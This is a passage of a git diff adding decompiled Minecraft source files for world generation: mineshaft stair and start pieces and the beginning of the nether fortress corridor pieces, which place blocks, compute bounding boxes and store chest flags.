+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_) {}
+    
+    public static StructureBoundingBox func_175812_a(List p_175812_0_, Random p_175812_1_, int p_175812_2_, int p_175812_3_, int p_175812_4_, EnumFacing p_175812_5_)
+    {
+      StructureBoundingBox var6 = new StructureBoundingBox(p_175812_2_, p_175812_3_ - 5, p_175812_4_, p_175812_2_, p_175812_3_ + 2, p_175812_4_);
+      
+      switch (StructureMineshaftPieces.SwitchEnumFacing.field_175894_a[p_175812_5_.ordinal()])
+      {
+      case 1: 
+        maxX = (p_175812_2_ + 2);
+        minZ = (p_175812_4_ - 8);
+        break;
+      
+      case 2: 
+        maxX = (p_175812_2_ + 2);
+        maxZ = (p_175812_4_ + 8);
+        break;
+      
+      case 3: 
+        minX = (p_175812_2_ - 8);
+        maxZ = (p_175812_4_ + 2);
+        break;
+      
+      case 4: 
+        maxX = (p_175812_2_ + 8);
+        maxZ = (p_175812_4_ + 2);
+      }
+      
+      return StructureComponent.findIntersecting(p_175812_0_, var6) != null ? null : var6;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      int var4 = getComponentType();
+      
+      if (coordBaseMode != null)
+      {
+        switch (StructureMineshaftPieces.SwitchEnumFacing.field_175894_a[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX, boundingBox.minY, boundingBox.minZ - 1, EnumFacing.NORTH, var4);
+          break;
+        
+        case 2: 
+          StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX, boundingBox.minY, boundingBox.maxZ + 1, EnumFacing.SOUTH, var4);
+          break;
+        
+        case 3: 
+          StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY, boundingBox.minZ, EnumFacing.WEST, var4);
+          break;
+        
+        case 4: 
+          StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY, boundingBox.minZ, EnumFacing.EAST, var4);
+        }
+      }
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 0, 2, 7, 1, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 7, 2, 2, 8, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      
+      for (int var4 = 0; var4 < 5; var4++)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 5 - var4 - (var4 < 4 ? 1 : 0), 2 + var4, 2, 7 - var4, 2 + var4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+      return true;
+    }
+  }
+  
+
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_175894_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00001998";
+    
+    static
+    {
+      try
+      {
+        field_175894_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_175894_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_175894_a[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_175894_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/StructureMineshaftStart.java b/src/minecraft/net/minecraft/world/gen/structure/StructureMineshaftStart.java
new file mode 100644
index 0000000..48fa1e6
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/StructureMineshaftStart.java
@@ -0,0 +1,21 @@
+package net.minecraft.world.gen.structure;
+
+import java.util.Random;
+import net.minecraft.world.World;
+
+public class StructureMineshaftStart extends StructureStart
+{
+  private static final String __OBFID = "CL_00000450";
+  
+  public StructureMineshaftStart() {}
+  
+  public StructureMineshaftStart(World worldIn, Random p_i2039_2_, int p_i2039_3_, int p_i2039_4_)
+  {
+    super(p_i2039_3_, p_i2039_4_);
+    StructureMineshaftPieces.Room var5 = new StructureMineshaftPieces.Room(0, p_i2039_2_, (p_i2039_3_ << 4) + 2, (p_i2039_4_ << 4) + 2);
+    components.add(var5);
+    var5.buildComponent(var5, components, p_i2039_2_);
+    updateBoundingBox();
+    markAvailableHeight(worldIn, p_i2039_2_, 10);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/StructureNetherBridgePieces.java b/src/minecraft/net/minecraft/world/gen/structure/StructureNetherBridgePieces.java
new file mode 100644
index 0000000..c29a31f
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/StructureNetherBridgePieces.java
@@ -0,0 +1,1464 @@
+package net.minecraft.world.gen.structure;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntityMobSpawner;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.WeightedRandomChestContent;
+import net.minecraft.world.World;
+
+public class StructureNetherBridgePieces
+{
+  private static final PieceWeight[] primaryComponents = { new PieceWeight(Straight.class, 30, 0, true), new PieceWeight(Crossing3.class, 10, 4), new PieceWeight(Crossing.class, 10, 4), new PieceWeight(Stairs.class, 10, 3), new PieceWeight(Throne.class, 5, 2), new PieceWeight(Entrance.class, 5, 1) };
+  private static final PieceWeight[] secondaryComponents = { new PieceWeight(Corridor5.class, 25, 0, true), new PieceWeight(Crossing2.class, 15, 5), new PieceWeight(Corridor2.class, 5, 10), new PieceWeight(Corridor.class, 5, 10), new PieceWeight(Corridor3.class, 10, 3, true), new PieceWeight(Corridor4.class, 7, 2), new PieceWeight(NetherStalkRoom.class, 5, 2) };
+  private static final String __OBFID = "CL_00000453";
+  
+  public StructureNetherBridgePieces() {}
+  
+  public static void registerNetherFortressPieces() { MapGenStructureIO.registerStructureComponent(Crossing3.class, "NeBCr");
+    MapGenStructureIO.registerStructureComponent(End.class, "NeBEF");
+    MapGenStructureIO.registerStructureComponent(Straight.class, "NeBS");
+    MapGenStructureIO.registerStructureComponent(Corridor3.class, "NeCCS");
+    MapGenStructureIO.registerStructureComponent(Corridor4.class, "NeCTB");
+    MapGenStructureIO.registerStructureComponent(Entrance.class, "NeCE");
+    MapGenStructureIO.registerStructureComponent(Crossing2.class, "NeSCSC");
+    MapGenStructureIO.registerStructureComponent(Corridor.class, "NeSCLT");
+    MapGenStructureIO.registerStructureComponent(Corridor5.class, "NeSC");
+    MapGenStructureIO.registerStructureComponent(Corridor2.class, "NeSCRT");
+    MapGenStructureIO.registerStructureComponent(NetherStalkRoom.class, "NeCSR");
+    MapGenStructureIO.registerStructureComponent(Throne.class, "NeMT");
+    MapGenStructureIO.registerStructureComponent(Crossing.class, "NeRC");
+    MapGenStructureIO.registerStructureComponent(Stairs.class, "NeSR");
+    MapGenStructureIO.registerStructureComponent(Start.class, "NeStart");
+  }
+  
+  private static Piece func_175887_b(PieceWeight p_175887_0_, List p_175887_1_, Random p_175887_2_, int p_175887_3_, int p_175887_4_, int p_175887_5_, EnumFacing p_175887_6_, int p_175887_7_)
+  {
+    Class var8 = weightClass;
+    Object var9 = null;
+    
+    if (var8 == Straight.class)
+    {
+      var9 = Straight.func_175882_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_6_, p_175887_7_);
+    }
+    else if (var8 == Crossing3.class)
+    {
+      var9 = Crossing3.func_175885_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_6_, p_175887_7_);
+    }
+    else if (var8 == Crossing.class)
+    {
+      var9 = Crossing.func_175873_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_6_, p_175887_7_);
+    }
+    else if (var8 == Stairs.class)
+    {
+      var9 = Stairs.func_175872_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_7_, p_175887_6_);
+    }
+    else if (var8 == Throne.class)
+    {
+      var9 = Throne.func_175874_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_7_, p_175887_6_);
+    }
+    else if (var8 == Entrance.class)
+    {
+      var9 = Entrance.func_175881_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_6_, p_175887_7_);
+    }
+    else if (var8 == Corridor5.class)
+    {
+      var9 = Corridor5.func_175877_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_6_, p_175887_7_);
+    }
+    else if (var8 == Corridor2.class)
+    {
+      var9 = Corridor2.func_175876_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_6_, p_175887_7_);
+    }
+    else if (var8 == Corridor.class)
+    {
+      var9 = Corridor.func_175879_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_6_, p_175887_7_);
+    }
+    else if (var8 == Corridor3.class)
+    {
+      var9 = Corridor3.func_175883_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_6_, p_175887_7_);
+    }
+    else if (var8 == Corridor4.class)
+    {
+      var9 = Corridor4.func_175880_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_6_, p_175887_7_);
+    }
+    else if (var8 == Crossing2.class)
+    {
+      var9 = Crossing2.func_175878_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_6_, p_175887_7_);
+    }
+    else if (var8 == NetherStalkRoom.class)
+    {
+      var9 = NetherStalkRoom.func_175875_a(p_175887_1_, p_175887_2_, p_175887_3_, p_175887_4_, p_175887_5_, p_175887_6_, p_175887_7_);
+    }
+    
+    return (Piece)var9;
+  }
+  
+  public static class Corridor extends StructureNetherBridgePieces.Piece
+  {
+    private boolean field_111021_b;
+    private static final String __OBFID = "CL_00000461";
+    
+    public Corridor() {}
+    
+    public Corridor(int p_i45615_1_, Random p_i45615_2_, StructureBoundingBox p_i45615_3_, EnumFacing p_i45615_4_)
+    {
+      super();
+      coordBaseMode = p_i45615_4_;
+      boundingBox = p_i45615_3_;
+      field_111021_b = (p_i45615_2_.nextInt(3) == 0);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      field_111021_b = p_143011_1_.getBoolean("Chest");
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("Chest", field_111021_b);
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentX((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 0, 1, true);
+    }
+    
+    public static Corridor func_175879_a(List p_175879_0_, Random p_175879_1_, int p_175879_2_, int p_175879_3_, int p_175879_4_, EnumFacing p_175879_5_, int p_175879_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175879_2_, p_175879_3_, p_175879_4_, -1, 0, 0, 5, 7, 5, p_175879_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175879_0_, var7) == null) ? new Corridor(p_175879_6_, p_175879_1_, var7, p_175879_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 4, 1, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 4, 5, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 2, 0, 4, 5, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 3, 1, 4, 4, 1, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 3, 3, 4, 4, 3, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 0, 5, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 4, 3, 5, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 4, 1, 4, 4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 3, 4, 3, 4, 4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+      if ((field_111021_b) && (p_74875_3_.func_175898_b(new BlockPos(getXWithOffset(3, 3), getYWithOffset(2), getZWithOffset(3, 3)))))
+      {
+        field_111021_b = false;
+        func_180778_a(worldIn, p_74875_3_, p_74875_2_, 3, 2, 3, field_111019_a, 2 + p_74875_2_.nextInt(4));
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 6, 0, 4, 6, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+      for (int var4 = 0; var4 <= 4; var4++)
+      {
+        for (int var5 = 0; var5 <= 4; var5++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, var5, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Corridor2 extends StructureNetherBridgePieces.Piece
+  {
+    private boolean field_111020_b;
+    private static final String __OBFID = "CL_00000463";
+    
+    public Corridor2() {}
+    
+    public Corridor2(int p_i45613_1_, Random p_i45613_2_, StructureBoundingBox p_i45613_3_, EnumFacing p_i45613_4_)
+    {
+      super();
+      coordBaseMode = p_i45613_4_;
+      boundingBox = p_i45613_3_;
+      field_111020_b = (p_i45613_2_.nextInt(3) == 0);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      field_111020_b = p_143011_1_.getBoolean("Chest");
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("Chest", field_111020_b);
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentZ((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 0, 1, true);
+    }
+    
+    public static Corridor2 func_175876_a(List p_175876_0_, Random p_175876_1_, int p_175876_2_, int p_175876_3_, int p_175876_4_, EnumFacing p_175876_5_, int p_175876_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175876_2_, p_175876_3_, p_175876_4_, -1, 0, 0, 5, 7, 5, p_175876_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175876_0_, var7) == null) ? new Corridor2(p_175876_6_, p_175876_1_, var7, p_175876_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 4, 1, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 4, 5, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 0, 5, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 1, 0, 4, 1, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 3, 0, 4, 3, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 2, 0, 4, 5, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 4, 4, 5, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 4, 1, 4, 4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 3, 4, 3, 4, 4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+      if ((field_111020_b) && (p_74875_3_.func_175898_b(new BlockPos(getXWithOffset(1, 3), getYWithOffset(2), getZWithOffset(1, 3)))))
+      {
+        field_111020_b = false;
+        func_180778_a(worldIn, p_74875_3_, p_74875_2_, 1, 2, 3, field_111019_a, 2 + p_74875_2_.nextInt(4));
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 6, 0, 4, 6, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+      for (int var4 = 0; var4 <= 4; var4++)
+      {
+        for (int var5 = 0; var5 <= 4; var5++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, var5, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Corridor3 extends StructureNetherBridgePieces.Piece
+  {
+    private static final String __OBFID = "CL_00000457";
+    
+    public Corridor3() {}
+    
+    public Corridor3(int p_i45619_1_, Random p_i45619_2_, StructureBoundingBox p_i45619_3_, EnumFacing p_i45619_4_)
+    {
+      super();
+      coordBaseMode = p_i45619_4_;
+      boundingBox = p_i45619_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 1, 0, true);
+    }
+    
+    public static Corridor3 func_175883_a(List p_175883_0_, Random p_175883_1_, int p_175883_2_, int p_175883_3_, int p_175883_4_, EnumFacing p_175883_5_, int p_175883_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175883_2_, p_175883_3_, p_175883_4_, -1, -7, 0, 5, 14, 10, p_175883_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175883_0_, var7) == null) ? new Corridor3(p_175883_6_, p_175883_1_, var7, p_175883_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      int var4 = getMetadataWithOffset(Blocks.nether_brick_stairs, 2);
+      
+      for (int var5 = 0; var5 <= 9; var5++)
+      {
+        int var6 = Math.max(1, 7 - var5);
+        int var7 = Math.min(Math.max(var6 + 5, 14 - var5), 13);
+        int var8 = var5;
+        func_175804_a(worldIn, p_74875_3_, 0, 0, var5, 4, var6, var5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 1, var6 + 1, var5, 3, var7 - 1, var5, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+        
+        if (var5 <= 6)
+        {
+          func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var4), 1, var6 + 1, var5, p_74875_3_);
+          func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var4), 2, var6 + 1, var5, p_74875_3_);
+          func_175811_a(worldIn, Blocks.nether_brick_stairs.getStateFromMeta(var4), 3, var6 + 1, var5, p_74875_3_);
+        }
+        
+        func_175804_a(worldIn, p_74875_3_, 0, var7, var5, 4, var7, var5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 0, var6 + 1, var5, 0, var7 - 1, var5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 4, var6 + 1, var5, 4, var7 - 1, var5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+        
+        if ((var5 & 0x1) == 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 0, var6 + 2, var5, 0, var6 + 3, var5, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+          func_175804_a(worldIn, p_74875_3_, 4, var6 + 2, var5, 4, var6 + 3, var5, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+        }
+        
+        for (int var9 = 0; var9 <= 4; var9++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var9, -1, var8, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Corridor4 extends StructureNetherBridgePieces.Piece
+  {
+    private static final String __OBFID = "CL_00000458";
+    
+    public Corridor4() {}
+    
+    public Corridor4(int p_i45618_1_, Random p_i45618_2_, StructureBoundingBox p_i45618_3_, EnumFacing p_i45618_4_)
+    {
+      super();
+      coordBaseMode = p_i45618_4_;
+      boundingBox = p_i45618_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      byte var4 = 1;
+      
+      if ((coordBaseMode == EnumFacing.WEST) || (coordBaseMode == EnumFacing.NORTH))
+      {
+        var4 = 5;
+      }
+      
+      getNextComponentX((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 0, var4, p_74861_3_.nextInt(8) > 0);
+      getNextComponentZ((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 0, var4, p_74861_3_.nextInt(8) > 0);
+    }
+    
+    public static Corridor4 func_175880_a(List p_175880_0_, Random p_175880_1_, int p_175880_2_, int p_175880_3_, int p_175880_4_, EnumFacing p_175880_5_, int p_175880_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175880_2_, p_175880_3_, p_175880_4_, -3, 0, 0, 9, 7, 9, p_175880_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175880_0_, var7) == null) ? new Corridor4(p_175880_6_, p_175880_1_, var7, p_175880_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 8, 1, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 8, 5, 8, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 6, 0, 8, 6, 5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 2, 5, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 2, 0, 8, 5, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 0, 1, 4, 0, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 7, 3, 0, 7, 4, 0, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 4, 8, 2, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 4, 2, 2, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 1, 4, 7, 2, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 8, 8, 3, 8, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 6, 0, 3, 7, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 3, 6, 8, 3, 7, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 4, 0, 5, 5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 3, 4, 8, 5, 5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 5, 2, 5, 5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 3, 5, 7, 5, 5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 4, 5, 1, 5, 5, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 7, 4, 5, 7, 5, 5, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      
+      for (int var4 = 0; var4 <= 5; var4++)
+      {
+        for (int var5 = 0; var5 <= 8; var5++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var5, -1, var4, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Corridor5 extends StructureNetherBridgePieces.Piece
+  {
+    private static final String __OBFID = "CL_00000462";
+    
+    public Corridor5() {}
+    
+    public Corridor5(int p_i45614_1_, Random p_i45614_2_, StructureBoundingBox p_i45614_3_, EnumFacing p_i45614_4_)
+    {
+      super();
+      coordBaseMode = p_i45614_4_;
+      boundingBox = p_i45614_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 1, 0, true);
+    }
+    
+    public static Corridor5 func_175877_a(List p_175877_0_, Random p_175877_1_, int p_175877_2_, int p_175877_3_, int p_175877_4_, EnumFacing p_175877_5_, int p_175877_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175877_2_, p_175877_3_, p_175877_4_, -1, 0, 0, 5, 7, 5, p_175877_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175877_0_, var7) == null) ? new Corridor5(p_175877_6_, p_175877_1_, var7, p_175877_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 4, 1, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 4, 5, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 0, 5, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 2, 0, 4, 5, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 1, 0, 4, 1, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 3, 0, 4, 3, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 3, 1, 4, 4, 1, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 3, 3, 4, 4, 3, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 6, 0, 4, 6, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+      for (int var4 = 0; var4 <= 4; var4++)
+      {
+        for (int var5 = 0; var5 <= 4; var5++)
+        {
